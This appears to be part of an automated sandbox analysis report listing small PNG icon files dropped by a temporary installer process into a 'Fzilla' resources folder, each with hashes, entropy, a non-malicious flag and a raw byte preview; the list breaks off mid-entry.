Preview:	.PNG........IHDR... ... .....szz....}IDATx....t#k......2q.n...[]...m.m...F.l.6.4h.......k......y.O.N\.9e..3.....i'....L..NH.g=1u.....:..3......>..3/....^=...M?......?..O8+;.2.p.T.l.;.`.....l.d..ti.?c.4k.B...~?....x...:..,q._^.R.n%..w.:qH.K.y........u}.[L..:..y.U~..ca/c..tMc...PXf.-.........<qbBV...E...f..p......-....E..:..~....1.[..^...`r../.@..._\_...........+....:2..Y....V..! ..4.q<.........,....Q.B.P....F...M...~^:7..Z...]...a.^.:.6&.yW...+.xA:;._...A...........=.../.`.$X..8E...K@.w......C............~..g$..7...,.A....h..DtF..4.u....C{].^\.G.[~........R.....0M.<>.w'.H....?.`X.......^..y...sG.,..........=. ...q..fB[.G.;.[........Z...........k.7.<..#b..V....#...F" L.d3.2.S..w.^..{.......w...L.P.p..o...@".q.>f.K&hs.....}...n..7j...y6&..P4....j...Ol\|.g..Q....b........H...S..<w.Q..c.N.m.W.t..-..2].....l.c..MKs....i.....r..WN..?..r..w...!.H..,>.a.`.Yj...Y.L.....G0.l..E...<..(_..9e.3.......T@.AH.....<..S.w...V.....D..T.k?.......1

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\is-7827T.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2038
Entropy (8bit):	7.859130744595429
Encrypted:	false
SSDEEP:	48:OCl972SbFx0venBPv+sAPSHBF8yjAmAzHYwQ1OPyJ+4qUbZUi:OCbaSwvmPzAPSHX/AmAzHYF1OP74zyi
MD5:	B9ED9A54C830833812738325C60CC503
SHA1:	287A0BCD509B3ACFCA46FDE2215935D717B7B189
SHA-256:	B9ACDF5CA62EAF29A5C1789AD9EAB9AFFEDB7E7815F37C1EADEB8475466FA30B
SHA-512:	B3FA07ED8FC0ABE5A92C78163B521E040EEB507CADED309F726AB94F692BC536378CD6FC6A12F2000CC137F092B8D728CE3AFC1BF1035631CBCEEBC1B506F6FF
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..W..,..}.6.5...\|.>...m..w.:.m[_..m...........]Fd..2..KT5....]....8...$.^..sss.....6(.~.........P....E......Z.4}.ry....6.B,....>.....N.........r.-k.u........]..........?>.....>...h4:411.\|......Hg?...32...s.....R.....8.%.......Z..6..O.:."[.m.>..$../.p.b..$...........`.0;...-i.Frxx.....].eYu.D.......:".....0>>~.e;...=....w..:}:..]]]...r...-...b~~^.....2..qPUU...z.T S..<.........f../.y..?....R(.....l6.R...D.nP....\.u?...l.........-....'..d2_c..3[[...@...m..y..{.a.E.3.A.}.r9=...H=q..G.......'Jw....I......P..\.v.@.R1.....(3......H....J...c...~...w....8^/.....np7{]..J..g.A......@..\{...2....u....... .9R.)..]...=.)<.... ...L..6.^@..(..}(..RKg.@mmm4.........X...........\|.`...B..\UI.J.Q./...4........51.N.^5..C].E..'O...P...Rm.i.........bO......n..\e..=.3&U..J..8...!..4.Zu..n........:N.7...c..=+.$.E6..bX.......^.......@...Q)..2.... ..$.k...0.[T.....^........e....G..a.(...F;@...$j.....RE.:......rR..@.......F .%..}h?..k.

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\is-AVTC7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	665
Entropy (8bit):	7.543478277845009
Encrypted:	false
SSDEEP:	12:6v/7l5/vHeXyGuLOnT7VyIyAYKvPaabDZdT/j/mRPEKhYi0Iprs9aRNZ/QfxpvsV:G/mC/LOT7YIyqaoLj/cEQYid4ARNZyxi
MD5:	284DA2DA54F4711FD8A8137B229E33E7
SHA1:	BD9BC662335EE2EEBC52398683968E0EF0E6366B
SHA-256:	C9BB4563E2D58BCC4BFD559DE6CA3BF47C8B6354780676C895EFE0103FF1DED4
SHA-512:	DE5E17AEEFF491BF8F5DDCB148FED2BB3DAC0210C881AEC92B90CB935D398E5142B2F60846AAFB08A8A5DADF35305BEC7151343CB05BAC346B22ED3D4FF0B890
Malicious:	false
Preview:	.PNG........IHDR... ... ......s.....`IDATx......f......l.m.....m..k.gF......Q...,7.......g..4..`.x.l8..P@.+.Zm.Z..C.C..$#P..t.M...3.LP...b/.$h.." .SL.........JT.4..P..G.&f..QP....t...2...df.".z..&4.1T(.@.&.\|...s7{B//z..x.M......@...0.(&q.U..z..MADlo.A......v47fw4..[8.9".8.S...E......L...Yt.Y_.....TD.m3`{c.Q.h...0.. .`....y./..e.E.........C1.b.q...H.. ("6D,...sb6..o.`K... .K...C0...:.A%"z.)F1......Bp.QD.....M..+.3...].#q......HAA......\|..\|a\|..@i.......0...Q.......X..eF=.+*.(..uW..7..!.{.Wx.@..v...7..M.+.....F....P....%L.... ...c.........f..5V0..j..3x......{]o/......SV....`bs...3.>...P.D-..Agu.J.....b..........k.n..D.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\is-B7EVR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	7.767142044387276
Encrypted:	false
SSDEEP:	24:I0WGE+j3+Gmxrl4sPInu69W2Ebs/t02Hol4ATfMy6EfI1zRO+tVBCz:IeF3gx3PIuGn0Z42f96CI19Wz
MD5:	57AC2651B46E439F4D3A086A37D19246
SHA1:	23E0CED3AA19C28D0DBEBF58FD969BB5C36C855F
SHA-256:	E1FF7908B15FA5B4834614BD58A5FF9FF7D9A8C510D454241091126C7FA2A08B
SHA-512:	740DCCD150FA7E6F06123B602D7283A42D64489745DAA3D90786A1CA9A633F6035752436172594F344D67337EA05CDD14F6B59D49CBE131460FFFE872DBA1501
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....hIDATx.b.. <.............V......]k..qm.S7....)..v.6.qo..vT...>{f..6;.NN......O...%...h.L..K w]...y..{....w....z..(H.D,........K/.....E.C........r......r.{......3.8.s..%B.E)....Z.xd..cs...r..f.=~..?.........i....X.A-i.JMC.".LC..]d.....H%......h.;..c.0.....eq..A....k9,....:p. .`.a.Z....m}/B.Du....g....K.!.....J.."".w.I.48r./.......DQK.5....R.w.2..~.;.\r..PJ..........U..Ek.~.Cw?..&..'N?.T.. .."......3s..g!..... ...N....`:..L.a.j.f.........L.k.]....8<9 ....v..wX..[..f,4.##...DS.v..Nr.+._.......erF...m..5..H ....-5U.......v.3....2B.Sg......V..".&S...L..G-...-s...[."B(....N...3...t.l....U...<I..~.......n..v....fh..Qp.5.h...C........7.d#>{.."....{......d..X.......0............d.?n8..B,Q..a.........4........Yx.y %....!1_...%......W..h....n8..w3.`.(..&.......rxVD....\|.....5...F+_?.z.G.r.y...5...r.F}.`^ihA-L......).g(v.Af.....7.i......L.5~...d..!...@`{.5WX...2...u/....+/...Yg ..t..w..l@i....z.6...6j#'.r.[o.ku..].!.....

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\is-BI9G4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1809
Entropy (8bit):	7.868539144199516
Encrypted:	false
SSDEEP:	48:ANK1EO0ldAHgd6alI9wHtFNPErUpqvZKDFt/Ess:4Ky7ldAAowAktrP+A8ss
MD5:	F59849839E62B9D856BA38A3B3C48758
SHA1:	5E7B35B3DA89E251D14A3159C8695CF8B1026498
SHA-256:	35D59E268B673441363334C40F147E7A77BE6BC1CE86A849F96039F325E8BE86
SHA-512:	E924D47C384F439B5661EB846502ABA66FC6B5DB79751C3A6002588D0BBB2979E597C5069E9F32F30D25EFAF50EDFF1AD26BECC4837AF89CBEFB2FF9636A7006
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..V...k.....6..6.E./.m....Ol{l.....{.._z.{q.....s.T......T.^.Z...{.n9..7c.Z..v.fm.u.cg.AK..i?t....tu....9.Xf...:.....e[.......,.ql.'..=..?.\|J.........M.E.......~.K..-.....I..&=...4...{...z..A\|..[.z.]`.c`..`..`.U`6..1..>._.Y..Ns<.).....rz........p.w'>j.c..'..'..G.....Q.`..}v..@...).D..i..c@....V.M>I..;.Wy..K.B.6..;`.3.......).{..m......\|..UNN."g....p 1..4y.O..J..&a.b.LJ.......4.......s....zK..9. ..K..s.U...Z...7...-.v.....M}........QV.\|.....G...y^A1...PRR...$$$.#&&..........7o..j.....>..U..IG#.......j.Y.....yyy(,,DXX(.........p.433....(....ww....wz/i.}k.~.p....7....J%4....\|$&$ 44....buAAA...e"QLii).......O\|'y....cf..R...@O..KJ..+[....!++...?..}$.E..+..S@.5k..W(...p.Q..$@ "...Y.;.....,.c..s.Z..v....M_...9...^...<{.o.J.>....(..D.CBB....V..(....=.9.......iDU.........}.............yy...D....r.....DDGG...........9..........;v......Wdd$....X.Y+...u..;gy^.4,@..zp....-...`Bn..{...HQQ.......B.iK..^.s.

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\is-BQ9F2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2051
Entropy (8bit):	7.887490483446193
Encrypted:	false
SSDEEP:	48:O+cRQjxloUzcrQoGd3thAOlUxb8r9bz4iHZGsuUPFUD:O4YUzcrQoGlAOl08rVMiyUP+
MD5:	A50B7A376F9C3BA09B37E2B252E9196B
SHA1:	2FE3A34908B5C6E7D2E3F0037BE2CC8A21F1D69F
SHA-256:	03310FD97655DED583501961FF7EAAD738BB4EBC34357FB3487258C13CB32666
SHA-512:	BCE29E09E6224021E21DB7F15C7ACD4971D68EB54E002C4247B24675AE67B4C059136E2434D97C57A62B632B1CF1F3DA6F5783A6CC527B3A6DE87F33F63279EE
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..V.td......c'c.3..v.m.m.\|...d2V0I+..{...Y....V.U....9..I..l=.-;.S..p..'...t"..e].g..b....{..vuu.....<\|.....?.e<...mgS._.d.....S.}.?..iW,.......W......N2.\:44t...a.".N.......8p.....r....W(.....b.A[ .U......i6....UUU......E,..cL..@QQ........0PpPp8.@..h.ae....Q..n....s.....a....}_).3.P(.H.\..8.qY.....@....9...p.FIqo.}........s......3,B..$....'s..... .9..a8.AV4.......Qm........E.~.GG............ZdD ...W....M...A....O.0=.&... .B.@\|.\.:..ySkk..u.......qn\j(5...w.3...XQ..:W$..I..A...CyY.}.4I....@..p. ...OA.....i?..-.....("A.JA...D....a.-4..k2.@.D^.(o}>.G6......o..h.YH.hK....lO Y.0l.X.iMW...PN)`i....<......k.X.y..............W.E.1]i..@.......w......&.p".......,.'I..v...J.."....F+k..8a~eZ....u.?.... 3.tO)x..+..X.qZ\I.+t.(f..p$q.I.>..C".xo!_<9.aT..Q.y..u\.K!.z@"H...=.P...q9A)e.(..m175..C.8....<......'.>.vI..$...S.!.dE<..i.`p.b\......E'......9..~.l.T.......UH...B...R...rgO.8.k...g.......;..y.../h{.G....

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\is-CB88J.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2059
Entropy (8bit):	7.84024650702762
Encrypted:	false
SSDEEP:	48:OxxpZD724VM00uz9FIjAsCiFoNt0VhPnS33ZLLOeT3VdPVkPwIQjVg:OLlV3yjAsCiFozkhPSnZmeHPVkPw3pg
MD5:	327727EF3CB9960127601BBA2BE3BBED
SHA1:	0454FF8C789CAB36F36F3C0DFBF4CCB7D8265BBF
SHA-256:	8F7E3776E96CF9656187F1287F0D91E4D70E088AE6CEA15FCC015BCC5B9607DE
SHA-512:	9927C204C1620A4F3CD93CCF57569BF0A78AA4AD5F507383086B1A48D79001CA1E3EC15D4A23C1451232AA4F188B8BD0737455894D3C0E9F7268304973037E33
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....x.O......iP\k.......k.m.m^..I...gf..l..i.Nq&_.9..w..Z....`.K....#...R....J.<_.-.f..G..T.Gk\..k.^....E..;..wo.I.G..tm.....J.f+.........?.....$.u\......2.!........6.q....g%2......ht<.z'..6.M5..V..4.7.N...w...eL\6.=.Q6Z.tl.}.....;.....`Y.iG.......s...)9l.#.. ./....-O9.'.->.Y..[._.+~...?}bF.....$......yL\.....c 3.P.@i.[..r6.....o.Uy........{..7..pl..z..O?....3......c...:..eP...$.=3.A..#M...!.;...sb...W..3..M...E..........SG.).s..g...L.-8.....]..\|..1.@^k.Hi....M[..q.vo...d......\.`...;?.OM6.].#...h.(XB.....`(c....H..+....l.v%..p...6f../..>..yF#4_..,.$..0......el..H..@A.Q.)x.....Q...........F...a..Ap`.H.S..U.O...~......Kk..8.._..........2.1.....0..a.(......q..._Sux."Ijc..c../.U.b+$i.[>.z.......?..i...{..}.....$1p..k..k.&y.3...).m..R....LV<zm@s@ [GS.5C..m..Dht"X......im.......v.[.:)..../..5F...o...z...=...%YE.+8.......eL.La[..4.).NF.dI.Z...{jk..a....W...._.M.6.......+. o..0.5.xaL..Z.,..0t......p

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\is-CC4JH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1687
Entropy (8bit):	7.86046184696993
Encrypted:	false
SSDEEP:	48:nOUsTl0e251vz49UfRLMiCvfQ9F+raEEUOSo5tNukPSY7:ITSfPbPBWfocAUO9z1
MD5:	6B83C40D286D5D03B058720836FD150C
SHA1:	1FB13A8C68DB9EAB64B8E4EF57CD3B4F381AC275
SHA-256:	DB2724DCE56D66AB12D3D5598B582E770DBBE0564F9C5483DC16038802EEE201
SHA-512:	2927E00FDB59B5A70104EECE212516C36988EFC81135E7C378AEEE6BA28020D41321E38CB275EFBD0CDE413CA705AB93DBD02265D311D2BC3F0626165FF21368
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....^IDATx..U.t.1....aN....33.w......k...3S..9..9.zuZ...+.....d.....P..'_.n.L.=...w.pv...6.e..=...tT.B,.4k...H....[...t.o.F....k.... ..LLD&..B.}}..BQ...Xhab"..H....Q......T.X...i.s.Z.i.P.S........T.xO....m.4....J.*.P.P.Z.I.......!..6.k...!.NS.Eq......D.-.X.t<...C..sc.E..gE.57......C....p.D.PTcK..t<.T..EZ..ClYy9..-........Qcke...WO.........ji..5..Qx..>.O.iK...C..T@..Y\P.k.&.Z.i..Q.i.J..3.D.Y{o.a...;}}(3v....:..'.S[.6......4um0..n<.D.........Ow...~...K..\.hh=..X.s...b.~.....D..t.JU....Z...jt@.....?8.\|H0.F....[w.&MZ.d.....g.....-s.k.U..Lt.M.P..y...Q...n~.._z....e..\}...........+.p....p...9s.....v...K$.:..<K.[..C..^.....9i......V..e.t....P. .........5]5w..}...J;.h8.......y}....5......N.9=H...l.z.g.t...}....Z./.k.Ac..?.W....T....G...P.....+..;.@:Q.rP!..'...H...o.L.8g.L.;..wm./].....E...zJ...~.Vv...m.)....F7.....t3#...Q...>3E(..@9t....^..-&\|+....-Y....9..T....mf0i..\..Q)..zz(zQx...T.\|....}...y...l.8..5......Y.Sm.Y.

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\is-D2DG7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1858
Entropy (8bit):	7.851825924477652
Encrypted:	false
SSDEEP:	48:OxhxFlw8NhNv+Q0Oz0ddqwbkgSGKlmcZPpQl7R:O7za8rp+xPddqwZQZPIV
MD5:	65DE055EAC91F828A9D65D02F9E6EFF4
SHA1:	BDDFDE8989C51D15C0591183876ABFCA4527935E
SHA-256:	EFB812C763A5BE67942400578C9F0C41F5CD96251B080F79799ECD69DBEBF483
SHA-512:	935D983CA251967ECE999243FBBFC6DBB22F5BF293DF0A6737AB81DAEF1B507F1D311031CD464588924CB0CDC0BF00EAFB8B98CB78688E136F439502AC79C76F
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx...5.+..EwU.p.33C.......9.3.ff......c...}o...4O...{..U..8!.........>.eQ....TCtXenn..E?......s.By..MS;.$O.(...y.."...D....]...{..!..........~.?64r.5C......:..>....Rd..._.....G.....x..HQ...(...f>.........).P.r.L(.a.6Ei.<+.[.(.....J..`.+.n^?..#..<.....fE....j./........&.0...T{.(RsG.I..4g..6V<..ztW....>..`^.`...(\J.b.i.$G.I..M....=.h.wr;..E .pG.....b..v....6./.dH&.I...G..1....... ..h..f~.A/x.n+..... ..(.....cP.V.Y. ......'(O.h....d&...?Hy.}.g........d&3u..0..... ..h..%.0..`..A...p[..6....,...B2..q:.;`s..!e..9D.....,..:Pn.....:.@.X.0..#c.c....$D.2..e.B.'..E.@.....I.....J......Z./.O....BY.9.8X.q9.h5..H.D.....@.A.0Gq.....!...!Q`..[''@BJH3Psm. ..JG.....yB.vCr....b...o..bFD....-j.O.....>g!........#........%..R^..P..qxw..i(..........1..........D..gqC..0.YAL..I...K6........l`.=3+Vm.n......iz....Z.....KD....\|.+l.g."..f........E..K.....R.sB...nXQ@n....F........pT.ooV.[i.U...m.M.r.....P ..A.<.G.x.I....m@..

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\is-D7TKN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.870408719677622
Encrypted:	false
SSDEEP:	24:ortxIoy+a4yzhN5r4ceW561D+54lyV4tb1pAePuRdDR0c2bC4S9FfOz6yZMNPPhI:GOqtMPr4ceW554lIbeP84SUlZaPhR2
MD5:	F9CD30014105F6D86E81961F23CFA194
SHA1:	84168C3DA7CA619F441377F66601EFFC8921A4B6
SHA-256:	637D05BD0B454B1C019F8441DCBD1B226BCF949786EF45BEF2E70ADFC9B37133
SHA-512:	30E0799783FCD7101337DFA62868FE6D52EEEDF1C6723A8190C73241324F1CF8DDEF6843E3086F5DAEB34ED900B64DA1C7A1CE86AF3328373975DE594F36A0CE
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....pIDATx...........9I'...o.[..g.g.m\.m.6.w.......uUMuuM?k~U.R...AD..5..sI6...../..a...2..]..w5..n.......2....P.x....-......z..G....0v....<.m....>.....s_..;.\|..qWm...)..Z......O.wt6.r.%W......b.O6zu..y.y.X."`D..b.P,....3...).3..}b..g......3.T.@{9.Ga.....[..7.....-..... .....H1_^..q.t.z7.x..CV.....w.m.V....m........'X'...(..A..l..O..^...s.....6.....8&..K!..O...^.....%.Ec.C..~..h.F._E.i4~...e.XN..._..@3..G..q.......!..P.!,!..5{!.5...JkD)..2...M5M.."i......&m..v....:..,...$@u.+V..t.DNZ..8..~$,..:..]...l....Z#..q.....0...g./.D...(U}.....4.R. "..e.LS3..T.@1..zX..5~2(.=m...a.....i..gi...5.EK....>...E..&..j.2Z..5v.F[T#....V.p.J$p.,..+? .......$....;... ..(.0..i...k..:.".F..C....u.R.S.....$7.S..y:O:..w.....z.....AP0q.[.Dn..((....x.^... .....J[..`.!.......30..p'..........(.x.N&.....L.~........x9....C..0x...1...h.\...."@...D.j...'.CE(.(.E...h..JS.x).4.....sk..u&\..[......X...7a/_.R...R4o....}..uL...E0..`...H...kM

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\is-DIR4U.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1477
Entropy (8bit):	7.8580915195042795
Encrypted:	false
SSDEEP:	24:kADMdPXbO9FEnG7sl6W+BLKkY6I4rfMyclSwb7eAdaTa8eDHYaK1QVi5CQH9t3tf:hIF8sl6WQLS7eaf8eDnmQg06Bf
MD5:	A293E0AFC56E9ABC738ADBF446BF83B8
SHA1:	44CCF6E6E0685E9BBB2B31BE20598B09F887CA60
SHA-256:	50D381430A7891765601E2A89223650BA237FC733990E767F28EAD4F26B435FB
SHA-512:	B7C4391AFAC292656FAFEB04E29B09E94E2BE273D587F2494299868E2115F1566EC2A0D64F744D61F0B9D6BF8DE3B22A6CF09645A7540EF5DC23FD83CA353DCB
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....$Y...{_DdfY..j..m.h..m.{.....jc.......;V.5.9a}.._^n..p....R..)(.uU......d.jwt....>....w,0v...0.K9).f.0(.s3.....RQ...I.l.Ol.......R.KT..f.o.a......z.....y.d!N.3....o..:u......[.W.Pf....3..3o...#0a.v@....Rs.@......0..i.}.......f.$...3..T......t.n....L....L03.pb...."..1yQj.b........m..^....X.}.......0..\|R.- .B.KZ@.?Xq./-.f.s..q..so<.....ut.a...~[....y..;Xq....2%r.........m[....--%.OU4..@.URQ...yW.k.....p.~.'.-8....5i.rQ).H....K.:...........7..v`.7V.....P. ...Ph...w.X.....c..=.>5?....k%..v/].6.$.&.b..R......0. P......]....JZ.5..0...w.c. ..^........Bun...F.Wl....JL\..]Js..0.O#.M........~.x.,.l..g....P...".\|nXf...F....<.&..j...^-.......5.Pn.9.,.~]kgI..c...~KXX.4)a).........9.J5..<..i.?ye..<o.Es...+.M....o.<......~D.]~.+.F%H.&V...e.2c.tz..R.S.B..f.>.xu..DL...#.?.<L.....5...>.v.....9.._.[..W..l..^\|..'Z.b...D...70..~.H/.i.:...O..L. .Z'j...T$..G.yD..O.Pc...M.........DK..AB...l.&.W...LNN........<.B!(.z.i....S..

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\is-ENFVO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1675
Entropy (8bit):	7.8530855181907615
Encrypted:	false
SSDEEP:	48:w/VRfM0mHMbrMS67Xd1LAGNqBtgYxv8Oe:wXfMJsfMSGXdpRqB7v89
MD5:	0AD600B0B6FD4B526FB11F90CBBAD530
SHA1:	DE7459211A962F83A396A54962C16DA27D384341
SHA-256:	6EB0C8A463C18C0E240C701ED020BA54327BC2C34B142ECF417B37B1C01F9FD9
SHA-512:	F7C689C9F3178AB739FFD4A5E3D24C5775FF1B991F5A32D06CE33CAA18A055DE66C16E6EEDCEDFCCD7EA4BE15E2DF9F8D35F75E58A27786B40DC714519ACA415
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....RIDATx.....$[...s3.\.i.mcm.Vhmohm.m..h..jw9...PQ.Q.;=..N.....#q..z.S0.\|....\|...[.....\!..G...\|...>..'o....S.]..U...K....C.n...'o....{..x....wc.../...c...DSx.n.....<.AU<U...+.2`....8..L.h.p......y`..-OT%+......}....mG.y+..`.`..U.}..wM....wcE.YK....O.....,.F..)...b....e.......~...Gn}.c...[p.\|..#...'.W.A..@h..?\|..S.}.9.s`k-DU.j.g`.....m\|.s.D..h.../...Xi...t.p.'s...N...8.x..GBPa.[.8.?...oC.B.k@..Ry.SH..M.}..\|wftfycw>.7....../..Hg..\..3.....5&..&G.(S_.........Bqye..K...=..J.\..[.[lD....u?....O...n..L...~.4..D.E..4.[....t@cBH...H....Z\.t..h..ae..8}......W.._...[..V.....F.M..2......$.^...P.J.N.F.,J.ZX.........;...5....;q.T_..... ...@.h{....`....^.0LP-......G.V*...=...s.`....{..[.A.!v..p..\.V..xt.J.8.\|0.x.@...Gi...oG.~et...O...%..\(.}J..-..}...D.C....j..h.n7U.Q.A<J..p]..R...~=r.....=.?@....((.KK.....w...~]...b.@.4..8.H{.]QuD......&g>?Qi\|....L..k#...9`.8..'{.....tW.1...X9...j...l..r3....?0Sm\|[...E.

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\is-FF2LK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1599
Entropy (8bit):	7.839553374241611
Encrypted:	false
SSDEEP:	48:obwjq4pjnXwSceRSGTkhp4LFBsQVZWkZEcX:obwXVnXB0GTyrQ/WoEcX
MD5:	D0CE7905DDA7C98318182FCB5DB5744F
SHA1:	BD0B44B0724E60E3F205793C8E33065E4CF9276F
SHA-256:	7205D7DA612A07772E75219D0851AA8D54B137CC4E25F74EC8A84881123025C8
SHA-512:	734FED92EC1F4FDC3B2849DBAB95211E524EAEADA032CC0DD784C1DB60CA7483FE4DFFE36ABBBFF2C9A72F2C9CD81EB2ABAD54464F1FB22FF768CE5DB731AB21
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.....$A...?..gj.1;k{.m...3Cg..p.mkm.cuWU.....i.w/............U.Z.5.Z....V..T.l...r'..ek...V{.n4....._.M2'.`.xA#_.%....q....Y.f_-.H.k....)..^s\|.G..\....dG6.....4.XK..f^[.g.Y.%y.z.4.'BD..1...M{......,..+"..\..cg...Vk^......p5.+..HIa.9........!@W.N.O.0....`D.s!...v.0P......Q.("..N.e...>.....=T.....3..>...k....q%.UF...M..>..:...(<..t.Q...]:.f\...(........D@..x..Q.V.z5..P.D.Q..o8..EPzE$.....0.hE..!:.....H.8.....A1.+..]F....<8g.F..Z.L0..Kg....W...T^.P.!X...+f...L.s1..)."@...s.E..0..q.Us...S#."..`.0:U...a.]0..A"..\|....E...@$f.....#..[...A...B..D....u..q..jJ...Hnq.B....qD..8..g..0.k.....%......9"-.B.,....f.U.](1.........S...l..wI^......7-..a......c.P...s.Q...==.v....T>..k.0..td..'....x..j..`.....2..-.'.p...}.F...2.cpy.. .......wk../f.&.y.....7k.%..Q.@P#qB_-a..8.L.#..........+ .C..I!..yO.J._=....#....js.)uB^KhW.xZ.#I..s.....}......j..q..DsL..N.Q.y.7.3.T.Z.....a.q..Y.03..C.......x!n.

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\is-GR8CA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1723
Entropy (8bit):	7.838389318161883
Encrypted:	false
SSDEEP:	24:zl2P5TyMJ8W+YAEcq36KxRa0+KMRL2bIcO4DoPoEvzXYveLCZU2Gx:hu5Ty0jnAzMBxx+dJ6DWvUvbvm
MD5:	16A737D3C1055CC00BAFA178C43508F4
SHA1:	6DA9D992A18058269C6680B9827CFE32AD6C9F40
SHA-256:	B2D9AC7AA7B34D2737E0697713B3B3DFFDC4675966DD58AD2DA026EC80125588
SHA-512:	0C08166732828BEE24D966B1E51D6BF867990EC3E00425D6107CAA7C540CF8121F7D411C7EF65006204FFDDB1208B519C1E39B28F6C0D9F8865D8606A3BBE80E
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....p.f....l.N]..23'eH....;^a........eL.....eK..:......g.,..=1...M.5..s..c....f.._.y..{.8....,..../....W......-...9...^........X.l......eY....`.....x...%Ji+4M..^.M.....3O..8..%'.M9_..@.SL .........".(..`D..+.....4-.-..}.?.r...pK..@.A...M.....4M..P...A.[...[...+......9..XQE.."...o.....X..P.#V.../.\......Q.....[....Zz5M..@@p.P.#7....~.W_....o..z<..X..a?........... .U.jm..jK..L....i.4(@UU.k&...h.\| .8..Q..^.......H...%.7@rr....5u.....b.z.q..ARZ.....).)V....r*..._w..a.i...3..[5.....^..X...K...................B.y.x..7.g.N:..9.....a&..4.5.....L.J.li...NW.V..O...#.....\|.V.....?V.....^4M..w\..g)g\8..i..;.k.^^.4!....k....2.....w.\|.?....!&....g.BV.....bb ......x.(vo.4s.}..L...i!.... ....Q,......{6L>.f...i.uN.6m...({4 .H..LN..t..XFg....a...1.i,....pL.[...]..'..D...B.Dz(..........3..x.K.N.F......-i<...\|.....(.. ..h1k...P....Q.....`..'@...L.tT^Q.}7.>..uh......yVi(...<n..."@uT.X@...<..x....D...a8.h

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\is-I5BUM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1562
Entropy (8bit):	7.823906733406248
Encrypted:	false
SSDEEP:	24:/NuNVznykzvBJ5KJkTQnHZAypBo+aTWmGdqpDNFelx1D++3M9RUC9eg:/wVLXzZJIJkTEB/MakqlxN++cYCL
MD5:	74B0E17AA2B3E17E8D18EF8E616946DE
SHA1:	DEBCD44BB5CCF4F7094D410974886E24D5D27CD2
SHA-256:	5582EFF3EB69CAB38F91201DEBEDAAF242C28865F22832084E5C83B1004E771C
